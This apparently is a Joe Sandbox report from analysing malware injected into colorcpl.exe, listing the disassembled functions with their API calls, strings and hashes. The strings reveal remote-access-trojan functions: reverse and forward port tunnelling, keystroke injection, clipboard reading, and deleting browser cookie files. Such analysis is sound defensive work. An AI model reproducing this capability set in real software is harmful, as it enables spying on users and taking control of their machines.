GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,FF8BC35D), ref: 030E2ECF
__dosmaperr.LIBCMT ref: 030E2ED6
GetFileType.KERNEL32(00000000), ref: 030E2EE2
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,FF8BC35D), ref: 030E2EEC
__dosmaperr.LIBCMT ref: 030E2EF5
CloseHandle.KERNEL32(00000000), ref: 030E2F15
CloseHandle.KERNEL32(00000000), ref: 030E305F
GetLastError.KERNEL32 ref: 030E3091
__dosmaperr.LIBCMT ref: 030E3098

Memory Dump Source

Source File: 00000005.00000002.3792390039.0000000003090000.00000040.00000400.00020000.00000000.sdmp, Offset: 03090000, based on PE: true

Associated: 00000005.00000002.3792390039.0000000003105000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_3090000_colorcpl.jbxd

Yara matches

Similarity

API ID: ErrorLast__dosmaperr$CloseFileHandle$CreateType
String ID:
API String ID: 4237864984-0
Opcode ID: 81247aad67036b345f845614d4d4f6be72d87d2c36324c39b061c17aaf794f51
Instruction ID: 2c7d1b9622e087e3456a25503186cf00c7ece05d01fd624ec51a85b4d6c0edb8
Opcode Fuzzy Hash: 81247aad67036b345f845614d4d4f6be72d87d2c36324c39b061c17aaf794f51
Instruction Fuzzy Hash: 8BA13536B112498FDF19EF68D8517EE7BE8EB4A320F18019DE8129F390DB358812C751

Function 030E0F63 Relevance: 13.8, APIs: 9, Instructions: 268COMMON

Download Yara Rule

APIs

GetCPInfo.KERNEL32(00000000,00000001,?,7FFFFFFF,?,?,030E123C,00000000,00000000,?,00000001,?,?,?,?,00000001), ref: 030E100F
MultiByteToWideChar.KERNEL32(00000000,00000009,00000000,00000001,00000000,00000000,?,030E123C,00000000,00000000,?,00000001,?,?,?,?), ref: 030E1092
__alloca_probe_16.LIBCMT ref: 030E10CA
MultiByteToWideChar.KERNEL32(00000000,00000001,00000000,00000001,00000000,030E123C,?,030E123C,00000000,00000000,?,00000001,?,?,?,?), ref: 030E1125
__alloca_probe_16.LIBCMT ref: 030E1174
MultiByteToWideChar.KERNEL32(00000000,00000009,00000000,00000000,00000000,00000000,?,030E123C,00000000,00000000,?,00000001,?,?,?,?), ref: 030E113C

Part of subcall function 030D3649: RtlAllocateHeap.NTDLL(00000000,030C3069,?,?,030C65E7,?,?,?,?,?,0309C88A,030C3069,?,?,?,?), ref: 030D367B

MultiByteToWideChar.KERNEL32(00000000,00000001,00000000,00000000,00000000,00000000,?,030E123C,00000000,00000000,?,00000001,?,?,?,?), ref: 030E11B8
__freea.LIBCMT ref: 030E11E3
__freea.LIBCMT ref: 030E11EF

Memory Dump Source

Source File: 00000005.00000002.3792390039.0000000003090000.00000040.00000400.00020000.00000000.sdmp, Offset: 03090000, based on PE: true

Associated: 00000005.00000002.3792390039.0000000003105000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_3090000_colorcpl.jbxd

Yara matches

Similarity

API ID: ByteCharMultiWide$__alloca_probe_16__freea$AllocateHeapInfo
String ID:
API String ID: 201697637-0
Opcode ID: 412abfa2dea458e8f6268df9311f4867851977a8a70343f5a01ef84a27e48e4f
Instruction ID: 05077c46b95687416612da7f3028ba17ece23f53c6df8bbd8fc80c0be629b469
Opcode Fuzzy Hash: 412abfa2dea458e8f6268df9311f4867851977a8a70343f5a01ef84a27e48e4f
Instruction Fuzzy Hash: 3491D675F022569FDB28DEA9CC80EEEBBF6AF49610F0C4599E905EB140D775D840CB60

Function 030D268B Relevance: 12.5, APIs: 6, Strings: 1, Instructions: 266COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 030D5725: GetLastError.KERNEL32(?,?,030C8595,?,?,?,030C8C17,030C988A,?,03101E78), ref: 030D5729
Part of subcall function 030D5725: _free.LIBCMT ref: 030D575C
Part of subcall function 030D5725: SetLastError.KERNEL32(00000000,?,03101E78,?,?,?,?,?,?,?,?,?,030C988A,00000000,030A52D9,00000000), ref: 030D579D
Part of subcall function 030D5725: _abort.LIBCMT ref: 030D57A3

_memcmp.LIBVCRUNTIME ref: 030D2935
_free.LIBCMT ref: 030D29A6
_free.LIBCMT ref: 030D29BF
_free.LIBCMT ref: 030D29F1
_free.LIBCMT ref: 030D29FA
_free.LIBCMT ref: 030D2A06

Strings

C, xrefs: 030D27F3

Memory Dump Source

Source File: 00000005.00000002.3792390039.0000000003090000.00000040.00000400.00020000.00000000.sdmp, Offset: 03090000, based on PE: true

Associated: 00000005.00000002.3792390039.0000000003105000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_3090000_colorcpl.jbxd

Yara matches

Similarity

API ID: _free$ErrorLast$_abort_memcmp
String ID: C
API String ID: 1679612858-1037565863
Opcode ID: da0182574ce698ce107c5025a5ed6d878dac7008369fb58c0df462eb9767ee46
Instruction ID: 070dba5507debf2acf36b912e0a622a10c507576bab58c5ecb98e08628f15fc0
Opcode Fuzzy Hash: da0182574ce698ce107c5025a5ed6d878dac7008369fb58c0df462eb9767ee46
Instruction Fuzzy Hash: EDB1F975A023199FDB64DF18C884AADB7F8FB48314F1489EAD949A7250E731AE90CF50

Function 030A3360 Relevance: 12.5, APIs: 5, Strings: 2, Instructions: 225COMMON

Download Yara Rule

Strings

tcp, xrefs: 030A34C9
udp, xrefs: 030A349C

Memory Dump Source

Source File: 00000005.00000002.3792390039.0000000003090000.00000040.00000400.00020000.00000000.sdmp, Offset: 03090000, based on PE: true

Associated: 00000005.00000002.3792390039.0000000003105000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_3090000_colorcpl.jbxd

Yara matches

Similarity

API ID:
String ID: tcp$udp
API String ID: 0-3725065008
Opcode ID: ffb9d28c5d7f8fb6eecbbb9d4610718e236f907b121a144b823a08b908fd09ce
Instruction ID: d126674c25b82857720e41e228220b5acc206a4bf8cba297f30527a0e0e9286d
Opcode Fuzzy Hash: ffb9d28c5d7f8fb6eecbbb9d4610718e236f907b121a144b823a08b908fd09ce
Instruction Fuzzy Hash: 3271B07960AB028FD766CFEDE44562BB7E4EF84640F0848BEF88587250DB74D944CB42

Function 0309FF5A Relevance: 12.4, APIs: 2, Strings: 5, Instructions: 191COMMON

Download Yara Rule

APIs

SetEvent.KERNEL32(?,?), ref: 0309FF79
inet_ntoa.WS2_32(?), ref: 030A0014

Strings

StartReverse, xrefs: 030A00E4
GetDirectListeningPort, xrefs: 030A0117
StopReverse, xrefs: 030A0106
StartForward, xrefs: 030A00D8
StopForward, xrefs: 030A00F5

Memory Dump Source

Source File: 00000005.00000002.3792390039.0000000003090000.00000040.00000400.00020000.00000000.sdmp, Offset: 03090000, based on PE: true

Associated: 00000005.00000002.3792390039.0000000003105000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_3090000_colorcpl.jbxd

Yara matches

Similarity

API ID: Eventinet_ntoa
String ID: GetDirectListeningPort$StartForward$StartReverse$StopForward$StopReverse
API String ID: 3578746661-168337528
Opcode ID: 2a7608c5c3a4ec3fe8ac6448883a15bd5b57510fb69564f2ed9c740e0427cd75
Instruction ID: 11ff4fd713d08a40de5ac44478e39dd2167798fe37806cefad2177d9f9bc45b1
Opcode Fuzzy Hash: 2a7608c5c3a4ec3fe8ac6448883a15bd5b57510fb69564f2ed9c740e0427cd75
Instruction Fuzzy Hash: 3B51D635B077099FEB08FB7CE825AAE76A5AFC1200F50091AE5418F6D5EF348905D7C2

Function 030A601D Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 108filesynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 030A626A: __EH_prolog.LIBCMT ref: 030A626F

ShellExecuteExA.SHELL32(0000003C,00000000,00000010,?,?,?), ref: 030A60E6
WaitForSingleObject.KERNEL32(00000000,000000FF,00000070,030F3050), ref: 030A611A
CloseHandle.KERNEL32(00000000), ref: 030A6123
DeleteFileA.KERNEL32(00000000), ref: 030A6132

Strings

Temp, xrefs: 030A603E
@, xrefs: 030A60C8
<, xrefs: 030A60C1

Memory Dump Source

Source File: 00000005.00000002.3792390039.0000000003090000.00000040.00000400.00020000.00000000.sdmp, Offset: 03090000, based on PE: true

Associated: 00000005.00000002.3792390039.0000000003105000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_3090000_colorcpl.jbxd

Yara matches

Similarity

API ID: CloseDeleteExecuteFileH_prologHandleObjectShellSingleWait
String ID: <$@$Temp
API String ID: 2516244461-1032778388
Opcode ID: 6c6c51350b4c9506060e444ecd3e2bb8611de51e77c6a6aa6a80d954ea0d32c7
Instruction ID: 7ffed5dafac216e0ba26bd7f21b9fb901e06a369e4dcd3a27425367bf12e4ad9
Opcode Fuzzy Hash: 6c6c51350b4c9506060e444ecd3e2bb8611de51e77c6a6aa6a80d954ea0d32c7
Instruction Fuzzy Hash: 2E419339A0220D9BEF14FBA4DC65AEDB738AF90300F44015AE1066E0D1EF751A4ADB90

Function 030969F4 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 102fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(00000000,00000004,00000000,00000000,00000002,00000080,00000000,00000000,03101E78,030F2F54,?,00000000,0309708D,00000000), ref: 03096A56
WriteFile.KERNEL32(00000000,?,00000000,000186A0,00000000,?,000186A0,?,?,00000000,0309708D,00000000,?,?,0000000A,00000000), ref: 03096A9E
CloseHandle.KERNEL32(00000000,?,00000000,0309708D,00000000,?,?,0000000A,00000000), ref: 03096ADE
MoveFileW.KERNEL32(00000000,00000000), ref: 03096AFB
CloseHandle.KERNEL32(00000000,00000057,?,00000008,?,?,?,?,?,?,?,0000000A,00000000), ref: 03096B26
DeleteFileW.KERNEL32(00000000,?,?,?,?,?,?,?,0000000A,00000000), ref: 03096B36

Strings

.part, xrefs: 03096A1A

Memory Dump Source

Source File: 00000005.00000002.3792390039.0000000003090000.00000040.00000400.00020000.00000000.sdmp, Offset: 03090000, based on PE: true

Associated: 00000005.00000002.3792390039.0000000003105000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_3090000_colorcpl.jbxd

Yara matches

Similarity

API ID: File$CloseHandle$CreateDeleteMoveWrite
String ID: .part
API String ID: 1511717022-3499674018
Opcode ID: f2615a9a9ab3a501e206c5e1c412d311c776037aedbbbf9a9fe992ef7be42e8b
Instruction ID: 2029b7ed151dbd999f0e5035eaf3ddca2c022c9949c2e1b3f70f137645a6cf13
Opcode Fuzzy Hash: f2615a9a9ab3a501e206c5e1c412d311c776037aedbbbf9a9fe992ef7be42e8b
Instruction Fuzzy Hash: 1531CE75606309AFE614EF60D8449EFB3ECFFD0710F00491FF5869A150DB79AA488B92

Function 030D6FC4 Relevance: 12.2, APIs: 8, Instructions: 216COMMONLIBRARYCODE

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000001,00000000,?,?,00000000,00000000,?,?,030BBAB6,?,?,?,030D7215,00000001,00000001,?), ref: 030D701E
__alloca_probe_16.LIBCMT ref: 030D7056
MultiByteToWideChar.KERNEL32(00000001,00000001,?,?,00000000,?,?,?,030BBAB6,?,?,?,030D7215,00000001,00000001,?), ref: 030D70A4
__alloca_probe_16.LIBCMT ref: 030D713B
WideCharToMultiByte.KERNEL32(00000001,00000000,00000000,00000000,?,?,00000000,00000000,?,00000400,00000000,?,00000000,00000000,00000000,00000000), ref: 030D719E
__freea.LIBCMT ref: 030D71AB

Part of subcall function 030D3649: RtlAllocateHeap.NTDLL(00000000,030C3069,?,?,030C65E7,?,?,?,?,?,0309C88A,030C3069,?,?,?,?), ref: 030D367B

__freea.LIBCMT ref: 030D71B4
__freea.LIBCMT ref: 030D71D9

Memory Dump Source

Source File: 00000005.00000002.3792390039.0000000003090000.00000040.00000400.00020000.00000000.sdmp, Offset: 03090000, based on PE: true

Associated: 00000005.00000002.3792390039.0000000003105000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_3090000_colorcpl.jbxd

Yara matches

Similarity

API ID: ByteCharMultiWide__freea$__alloca_probe_16$AllocateHeap
String ID:
API String ID: 3864826663-0
Opcode ID: 49918ec9c824158ad6ceb0584c88325afd0c5e2ccb1741be53acb65b61da59d1
Instruction ID: f298c54963c9e8fbe03b03658a717a65ccb7ff7d816c29d2405fdef6a3b5e294
Opcode Fuzzy Hash: 49918ec9c824158ad6ceb0584c88325afd0c5e2ccb1741be53acb65b61da59d1
Instruction Fuzzy Hash: 8C51E276612316AFEB25CE68DC40EAFB7E9EB81A50F194769FD04DA140EB35DC4086A0

Function 030A7949 Relevance: 12.1, APIs: 8, Instructions: 102keyboardCOMMON

Download Yara Rule

APIs

SendInput.USER32(00000001,?,0000001C,?,?,00000000), ref: 030A7982
SendInput.USER32(00000001,?,0000001C,?,?,00000000,00000000), ref: 030A79A3
SendInput.USER32(00000001,?,0000001C,?,?,00000000,00000000), ref: 030A79C3
SendInput.USER32(00000001,?,0000001C,?,?,00000000,00000000), ref: 030A79D7
SendInput.USER32(00000001,?,0000001C,?,?,00000000,00000000), ref: 030A79ED
SendInput.USER32(00000001,?,0000001C,?,?,00000000), ref: 030A7A0A
SendInput.USER32(00000001,?,0000001C,?,?,00000000), ref: 030A7A25
SendInput.USER32(00000001,?,0000001C,?,00000000), ref: 030A7A41

Memory Dump Source

Source File: 00000005.00000002.3792390039.0000000003090000.00000040.00000400.00020000.00000000.sdmp, Offset: 03090000, based on PE: true

Associated: 00000005.00000002.3792390039.0000000003105000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_3090000_colorcpl.jbxd

Yara matches

Similarity

API ID: InputSend
String ID:
API String ID: 3431551938-0
Opcode ID: 5650fb5fe40bd7d6b0a049c3e449c0cfec1b924ff7311cfec4eae911378dd99b
Instruction ID: c688ef94f12c28b68e450bf5d3cf7cb9cbd082d4d453a9f06a65c86c10061c2b
Opcode Fuzzy Hash: 5650fb5fe40bd7d6b0a049c3e449c0cfec1b924ff7311cfec4eae911378dd99b
Instruction Fuzzy Hash: C03181715583086EE311CF95D941BEBBBDCEF99B54F04080FF6809A191D2E296898BA3

Function 030A4F40 Relevance: 12.0, APIs: 8, Instructions: 49clipboardCOMMON

Download Yara Rule

APIs

OpenClipboard.USER32 ref: 030A4F41
EmptyClipboard.USER32 ref: 030A4F4F
CloseClipboard.USER32 ref: 030A4F55
OpenClipboard.USER32 ref: 030A4F5C
GetClipboardData.USER32(0000000D), ref: 030A4F6C
GlobalLock.KERNEL32(00000000), ref: 030A4F75
GlobalUnlock.KERNEL32(00000000), ref: 030A4F7E
CloseClipboard.USER32 ref: 030A4F84

Memory Dump Source

Source File: 00000005.00000002.3792390039.0000000003090000.00000040.00000400.00020000.00000000.sdmp, Offset: 03090000, based on PE: true

Associated: 00000005.00000002.3792390039.0000000003105000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_3090000_colorcpl.jbxd

Yara matches

Similarity

API ID: Clipboard$CloseGlobalOpen$DataEmptyLockUnlock
String ID:
API String ID: 2813074840-0
Opcode ID: d2930a2e17aead4b5bd06e7da8889d9258e1ca72bf5ffa3ecbbc2f5924b7558f
Instruction ID: b6dbae58a9891feb41350d7f525bc6a904e15cebb50850aef98179bc019bde87
Opcode Fuzzy Hash: d2930a2e17aead4b5bd06e7da8889d9258e1ca72bf5ffa3ecbbc2f5924b7558f
Instruction Fuzzy Hash: 3F01C0353473088BD704FBB8FC186AEB3A8FFE1A11F44095EE54B8A185EF7598098A51

Function 030D7757 Relevance: 10.7, APIs: 7, Instructions: 152fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetConsoleCP.KERNEL32(00000000,00000000,?,?,?,?,?,?,?,030D7ECC,030E3EB5,00000000,00000000,00000000,00000000,00000000), ref: 030D7799
__fassign.LIBCMT ref: 030D7814
__fassign.LIBCMT ref: 030D782F
WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000001,00000000,00000005,00000000,00000000), ref: 030D7855
WriteFile.KERNEL32(?,00000000,00000000,030D7ECC,00000000,?,?,?,?,?,?,?,?,?,030D7ECC,030E3EB5), ref: 030D7874
WriteFile.KERNEL32(?,030E3EB5,00000001,030D7ECC,00000000,?,?,?,?,?,?,?,?,?,030D7ECC,030E3EB5), ref: 030D78AD

Memory Dump Source

Source File: 00000005.00000002.3792390039.0000000003090000.00000040.00000400.00020000.00000000.sdmp, Offset: 03090000, based on PE: true

Associated: 00000005.00000002.3792390039.0000000003105000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_3090000_colorcpl.jbxd

Yara matches

Similarity

API ID: FileWrite__fassign$ByteCharConsoleMultiWide
String ID:
API String ID: 1324828854-0
Opcode ID: d7bec75674ee1c68019ddb76448727f921e88652e63cd8075e6682b73798872c
Instruction ID: 37360cf1e2a67a76d4001ddc25fe8396429fcf8e0a7634cd167a33420d8eb005
Opcode Fuzzy Hash: d7bec75674ee1c68019ddb76448727f921e88652e63cd8075e6682b73798872c
Instruction Fuzzy Hash: F551C070E013499FDB10DFA8D895AEEFBF8EF09700F18416AE955E7281E734A941CB60

Function 0309AE2A Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 87COMMON

Download Yara Rule

APIs

Part of subcall function 030A1F91: RegOpenKeyExA.KERNEL32(80000002,00000400,00000000,00020019,00000000,00000000,00000000), ref: 030A1FB5
Part of subcall function 030A1F91: RegQueryValueExA.KERNEL32(00000000,?,00000000,00000000,?,00000400), ref: 030A1FD2
Part of subcall function 030A1F91: RegCloseKey.KERNEL32(00000000), ref: 030A1FDD

ExpandEnvironmentStringsA.KERNEL32(00000000,?,00000104,00000000), ref: 0309AEAC
PathFileExistsA.SHLWAPI(?), ref: 0309AEB9

Strings

[IE cookies not found], xrefs: 0309AE81
Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders, xrefs: 0309AE43
[IE cookies cleared!], xrefs: 0309AF06, 0309AF2B
Cookies, xrefs: 0309AE3E

Memory Dump Source

Source File: 00000005.00000002.3792390039.0000000003090000.00000040.00000400.00020000.00000000.sdmp, Offset: 03090000, based on PE: true

Associated: 00000005.00000002.3792390039.0000000003105000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_3090000_colorcpl.jbxd

Yara matches

Similarity

API ID: CloseEnvironmentExistsExpandFileOpenPathQueryStringsValue
String ID: [IE cookies cleared!]$[IE cookies not found]$Cookies$Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders
API String ID: 1133728706-4073444585
Opcode ID: f5c124008a63afdedfb90245879507302ef8ebf99f66af3e7f8e2dca0c89344f
Instruction ID: 545943186f23c51a2b82be6cfee414f7f6330960712ed152b9878587ff2fed0d
Opcode Fuzzy Hash: f5c124008a63afdedfb90245879507302ef8ebf99f66af3e7f8e2dca0c89344f
Instruction Fuzzy Hash: 4921EE38B4230D6FEF08F7E4DC669EE7368AFD1210F84055AD5026F181EF255A0AE691

Function 030E3D2D Relevance: 10.6, APIs: 7, Instructions: 80COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.3792390039.0000000003090000.00000040.00000400.00020000.00000000.sdmp, Offset: 03090000, based on PE: true

Associated: 00000005.00000002.3792390039.0000000003105000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_3090000_colorcpl.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 24a2a1848c3663a2054694378d219791553ac8b20ca283d2023086f66f67b1e1
Instruction ID: 166e00b30eb834b6bd5ae5e87e0251bf24b731b0ec2d7e14cd775e646fa1905f
Opcode Fuzzy Hash: 24a2a1848c3663a2054694378d219791553ac8b20ca283d2023086f66f67b1e1
Instruction Fuzzy Hash: E211A279B1B359BFCB51ABB6AC049AF7FACDFC5731B104699F8168B150DA3588008660

Function 030DE0DA Relevance: 10.6, APIs: 7, Instructions: 65COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 030DDE21: _free.LIBCMT ref: 030DDE4A

_free.LIBCMT ref: 030DE128

Part of subcall function 030D3C92: RtlFreeHeap.NTDLL(00000000,00000000,?,030DDE4F,?,00000000,?,00000000,?,030DE0F3,?,00000007,?,?,030DE63E,?), ref: 030D3CA8
Part of subcall function 030D3C92: GetLastError.KERNEL32(?,?,030DDE4F,?,00000000,?,00000000,?,030DE0F3,?,00000007,?,?,030DE63E,?,?), ref: 030D3CBA

_free.LIBCMT ref: 030DE133
_free.LIBCMT ref: 030DE13E
_free.LIBCMT ref: 030DE192
_free.LIBCMT ref: 030DE19D
_free.LIBCMT ref: 030DE1A8
_free.LIBCMT ref: 030DE1B3

Memory Dump Source

Source File: 00000005.00000002.3792390039.0000000003090000.00000040.00000400.00020000.00000000.sdmp, Offset: 03090000, based on PE: true

Associated: 00000005.00000002.3792390039.0000000003105000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_3090000_colorcpl.jbxd

Yara matches

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: d645742a9f031bfd4c53cfe37fe00a001808073c56fe889b6c8b285726f20831
Instruction ID: 2ac624c1234a83ec874fa7776150fdcc26c8b8e6f154f60abf4d9830558815d6
Opcode Fuzzy Hash: d645742a9f031bfd4c53cfe37fe00a001808073c56fe889b6c8b285726f20831
Instruction Fuzzy Hash: 48113379642B08BAD920FBF0CC49FCB7BDCAF94700F408C25A29DAE450DA75B6048B55

Function 030C80FA Relevance: 10.6, APIs: 7, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,030C80F1,030C705E), ref: 030C8108
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 030C8116
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 030C812F
SetLastError.KERNEL32(00000000,?,030C80F1,030C705E), ref: 030C8181

Memory Dump Source

Source File: 00000005.00000002.3792390039.0000000003090000.00000040.00000400.00020000.00000000.sdmp, Offset: 03090000, based on PE: true

Associated: 00000005.00000002.3792390039.0000000003105000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_3090000_colorcpl.jbxd

Yara matches

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: 4dd06d4f1cedc80b2c76c3b7a6153345904fd60329354dcec9da1794898d9079
Instruction ID: 9d6bbc672e3380e16df20876249cb2d7a28df90b2b6accf7678ad039e087085d
Opcode Fuzzy Hash: 4dd06d4f1cedc80b2c76c3b7a6153345904fd60329354dcec9da1794898d9079
Instruction Fuzzy Hash: 4001283622F7555FD664BB7CBC84A9F2ACDEB41774728832DF814485E1EF278840810C

Function 0309A9E2 Relevance: 10.5, APIs: 2, Strings: 4, Instructions: 49fileCOMMON

Download Yara Rule

APIs

DeleteFileA.KERNEL32(00000000,\AppData\Local\Google\Chrome\User Data\Default\Cookies), ref: 0309AA1E
GetLastError.KERNEL32 ref: 0309AA28

Strings

\AppData\Local\Google\Chrome\User Data\Default\Cookies, xrefs: 0309A9E9
[Chrome Cookies found, cleared!], xrefs: 0309AA4E
UserProfile, xrefs: 0309A9EE
[Chrome Cookies not found], xrefs: 0309AA42

Memory Dump Source

Source File: 00000005.00000002.3792390039.0000000003090000.00000040.00000400.00020000.00000000.sdmp, Offset: 03090000, based on PE: true

Associated: 00000005.00000002.3792390039.0000000003105000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_3090000_colorcpl.jbxd

Yara matches

Similarity

API ID: DeleteErrorFileLast
String ID: [Chrome Cookies found, cleared!]$[Chrome Cookies not found]$UserProfile$\AppData\Local\Google\Chrome\User Data\Default\Cookies
API String ID: 2018770650-304995407
Opcode ID: bef55abd888bc6bae0be906807093245a1395bdd5d8c0c7f884ddfc48b410c1f
Instruction ID: 22eff73bc3768cdb3603d488551e9aa5ec229af2507ad152e0409b512188b64c
Opcode Fuzzy Hash: bef55abd888bc6bae0be906807093245a1395bdd5d8c0c7f884ddfc48b410c1f
Instruction Fuzzy Hash: 37012635B8720C6FEF44FAB8ED278EE7728A9E1410B40455BE4135F291FE129505A691

Function 030C887C Relevance: 9.3, APIs: 6, Instructions: 284COMMON

Download Yara Rule

APIs

__allrem.LIBCMT ref: 030C8A09
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 030C8A25
__allrem.LIBCMT ref: 030C8A3C
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 030C8A5A
__allrem.LIBCMT ref: 030C8A71
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 030C8A8F

Memory Dump Source

Source File: 00000005.00000002.3792390039.0000000003090000.00000040.00000400.00020000.00000000.sdmp, Offset: 03090000, based on PE: true

Associated: 00000005.00000002.3792390039.0000000003105000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_3090000_colorcpl.jbxd

Yara matches

Similarity

API ID: Unothrow_t@std@@@__allrem__ehfuncinfo$??2@
String ID:
API String ID: 1992179935-0
Opcode ID: e54fcd2a271a95563de48233a52a921a5b89548056e17f80f76cd68e5be4f8c8
Instruction ID: 1e724157238f17e67143643cda1f63032c0c510f0910638d1e388b6ad981b773
Opcode Fuzzy Hash: e54fcd2a271a95563de48233a52a921a5b89548056e17f80f76cd68e5be4f8c8
Instruction Fuzzy Hash: 92812D76A127865FE724DB79CC40BAFB3E9EF81320F18852EE551DB680E770D5048798

Function 030D2E0B Relevance: 9.2, APIs: 6, Instructions: 200COMMONLIBRARYCODE

Download Yara Rule

APIs

__cftoe.LIBCMT ref: 030D2E37
__cftoe.LIBCMT ref: 030D2E69

Memory Dump Source

Source File: 00000005.00000002.3792390039.0000000003090000.00000040.00000400.00020000.00000000.sdmp, Offset: 03090000, based on PE: true

Associated: 00000005.00000002.3792390039.0000000003105000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_3090000_colorcpl.jbxd

Yara matches

Similarity

API ID: __cftoe
String ID:
API String ID: 4189289331-0
Opcode ID: b5c7bae8113a7b20c81906a4812d82e146e9f88f71b83b6d15af0822990d48d8
Instruction ID: 9740974809ae85f853e1844dac808ffb21c3b85165c30a3e273c7a092e215f26
Opcode Fuzzy Hash: b5c7bae8113a7b20c81906a4812d82e146e9f88f71b83b6d15af0822990d48d8
Instruction Fuzzy Hash: F5510936902305ABDB65DB68CD44FEEB7EDEF8D320F184E69F8149A181EB31C5408A64

Function 030D4A81 Relevance: 9.1, APIs: 3, Strings: 2, Instructions: 389COMMONLIBRARYCODE

Download Yara Rule

APIs

__alloca_probe_16.LIBCMT ref: 030D4B89
__freea.LIBCMT ref: 030D4C33
__freea.LIBCMT ref: 030D4C51

Part of subcall function 030C3BED: _free.LIBCMT ref: 030C3C03

Strings

am/pm, xrefs: 030D4CB4
a/p, xrefs: 030D4D18

Memory Dump Source

Source File: 00000005.00000002.3792390039.0000000003090000.00000040.00000400.00020000.00000000.sdmp, Offset: 03090000, based on PE: true

Associated: 00000005.00000002.3792390039.0000000003105000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_3090000_colorcpl.jbxd

Yara matches

Similarity

API ID: __freea$__alloca_probe_16_free
String ID: a/p$am/pm
API String ID: 2936374016-3206640213
Opcode ID: c11e6c5083a8a8f99e83038d3739c62dd77a7e68f7287936852f06400b4bd9a4
Instruction ID: 33bcad90cf5961c3166df9039edd6452cb57fe4d04f14d09cd4a2fa3b98b5c55
Opcode Fuzzy Hash: c11e6c5083a8a8f99e83038d3739c62dd77a7e68f7287936852f06400b4bd9a4
Instruction Fuzzy Hash: 9CD1F031902306EACBA8CF6AC895BFEB7F1FF05310F1D455AE905AB294DB759980CB50

Function 0309F8B7 Relevance: 9.1, APIs: 6, Instructions: 75COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 0309F8C4
int.LIBCPMT ref: 0309F8D7

Part of subcall function 0309CAE9: std::_Lockit::_Lockit.LIBCPMT ref: 0309CAFA
Part of subcall function 0309CAE9: std::_Lockit::~_Lockit.LIBCPMT ref: 0309CB14

std::_Facet_Register.LIBCPMT ref: 0309F917
std::_Lockit::~_Lockit.LIBCPMT ref: 0309F920
__CxxThrowException@8.LIBVCRUNTIME ref: 0309F93E
__Init_thread_footer.LIBCMT ref: 0309F97F

Memory Dump Source

Source File: 00000005.00000002.3792390039.0000000003090000.00000040.00000400.00020000.00000000.sdmp, Offset: 03090000, based on PE: true

Associated: 00000005.00000002.3792390039.0000000003105000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_3090000_colorcpl.jbxd

Yara matches

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Exception@8Facet_Init_thread_footerRegisterThrow
String ID:
API String ID: 3815856325-0
